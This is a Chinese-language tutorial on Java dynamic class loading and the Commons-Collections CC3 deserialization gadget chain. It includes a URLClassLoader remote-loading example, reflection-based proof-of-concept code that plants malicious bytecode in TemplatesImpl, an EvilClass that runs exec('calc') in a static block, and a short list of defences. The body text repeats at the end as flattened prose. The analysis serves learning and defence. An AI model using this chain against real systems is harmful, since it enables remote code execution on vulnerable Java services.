详解通过动态加载实现攻击的CC3和CC4
字数 1173 2025-08-26 22:11:57

Java动态加载与CC3/CC4攻击链分析

一、动态加载基础

1. 静态加载 vs 动态加载

  • 静态加载:编译时刻加载类,如new创建对象
  • 动态加载:运行时刻加载类,如Class.forName()

2. 类初始化机制

public class Person {
    static {
        System.out.println("静态代码块"); // 类初始化时执行
    }
    
    {
        System.out.println("构造代码块"); // 每次实例化时执行
    }
    
    public static void staticAction() {
        System.out.println("静态方法");
    }
}
  • 类初始化触发条件:
    • 创建实例(new)
    • 访问静态成员
    • Class.forName()默认会初始化
    • Class.forName(name, initialize, loader)可控制是否初始化

3. ClassLoader核心方法

方法 描述
getParent() 返回父类加载器
loadClass(String name) 加载类,不初始化
findClass(String name) 查找类
findLoadedClass(String name) 查找已加载类
defineClass(String name, byte[] b, int off, int len) 字节数组转Class对象
resolveClass(Class<?> c) 链接类

二、动态加载攻击示例

1. URLClassLoader远程加载

URLClassLoader ul = new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = ul.loadClass("Test");
c.newInstance(); // 触发静态代码块

恶意类Test.java:

public class Test {
    static {
        Runtime.getRuntime().exec("calc");
    }
}

2. 关键点

  • URLClassLoader可从远程加载类
  • 静态代码块在类初始化时执行
  • loadClass只加载不初始化,newInstance触发初始化

三、CC3攻击链分析

1. 调用链流程

ObjectInputStream.readObject()
  → AnnotationInvocationHandler.readObject()
    → Map(Proxy).entrySet()
      → AnnotationInvocationHandler.invoke()
        → LazyMap.get()
          → ChainedTransformer.transform()
            → ConstantTransformer.transform()
              → InstantiateTransformer.transform()
                → newInstance()
                  → TrAXFilter#TrAXFilter()
                    → TemplatesImpl.newTransformer()
                      → TemplatesImpl.getTransletInstance()
                        → TemplatesImpl.defineTransletClasses()
                          → newInstance()
                            → Runtime.exec()

2. 关键类分析

TemplatesImpl

  • defineTransletClasses(): 使用内部类TransletClassLoader动态加载字节码
  • getTransletInstance(): 调用defineTransletClasses并实例化类
  • newTransformer(): 入口方法,调用getTransletInstance

3. POC分析

TemplatesImpl templates = new TemplatesImpl();
// 设置_name字段
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "evil");

// 设置_bytecodes字段
Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[][] codes = {evilBytecode};
bytecodesField.set(templates, codes);

// 设置_tfactory字段
Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// 触发链
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
    new Class[]{Templates.class}, 
    new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

4. 恶意字节码类

public class EvilClass extends AbstractTranslet {
    static {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

5. 触发条件

  • _name != null
  • _class == null
  • _bytecodes包含有效恶意类字节码
  • _tfactory已设置

四、防御措施

  1. 禁止反序列化不可信数据
  2. 使用安全管理器限制defineClass权限
  3. 更新commons-collections库
  4. 使用白名单校验反序列化类

五、总结

CC3攻击链利用动态加载机制,通过TemplatesImpldefineTransletClasses方法加载恶意字节码,结合InstantiateTransformer触发初始化执行静态代码块。关键在于理解Java类加载机制和初始化时机,以及如何构造满足条件的恶意类。

Java动态加载与CC3/CC4攻击链分析 一、动态加载基础 1. 静态加载 vs 动态加载 静态加载 :编译时刻加载类,如 new 创建对象 动态加载 :运行时刻加载类,如 Class.forName() 2. 类初始化机制 类初始化触发条件: 创建实例(new) 访问静态成员 Class.forName() 默认会初始化 Class.forName(name, initialize, loader) 可控制是否初始化 3. ClassLoader核心方法 | 方法 | 描述 | |------|------| | getParent() | 返回父类加载器 | | loadClass(String name) | 加载类,不初始化 | | findClass(String name) | 查找类 | | findLoadedClass(String name) | 查找已加载类 | | defineClass(String name, byte[] b, int off, int len) | 字节数组转Class对象 | | resolveClass(Class<?> c) | 链接类 | 二、动态加载攻击示例 1. URLClassLoader远程加载 恶意类 Test.java : 2. 关键点 URLClassLoader 可从远程加载类 静态代码块在类初始化时执行 loadClass 只加载不初始化, newInstance 触发初始化 三、CC3攻击链分析 1. 调用链流程 2. 关键类分析 TemplatesImpl defineTransletClasses() : 使用内部类 TransletClassLoader 动态加载字节码 getTransletInstance() : 调用 defineTransletClasses 并实例化类 newTransformer() : 入口方法,调用 getTransletInstance 3. POC分析 4. 恶意字节码类 5. 触发条件 _name != null _class == null _bytecodes 包含有效恶意类字节码 _tfactory 已设置 四、防御措施 禁止反序列化不可信数据 使用安全管理器限制 defineClass 权限 更新commons-collections库 使用白名单校验反序列化类 五、总结 CC3攻击链利用动态加载机制,通过 TemplatesImpl 的 defineTransletClasses 方法加载恶意字节码,结合 InstantiateTransformer 触发初始化执行静态代码块。关键在于理解Java类加载机制和初始化时机,以及如何构造满足条件的恶意类。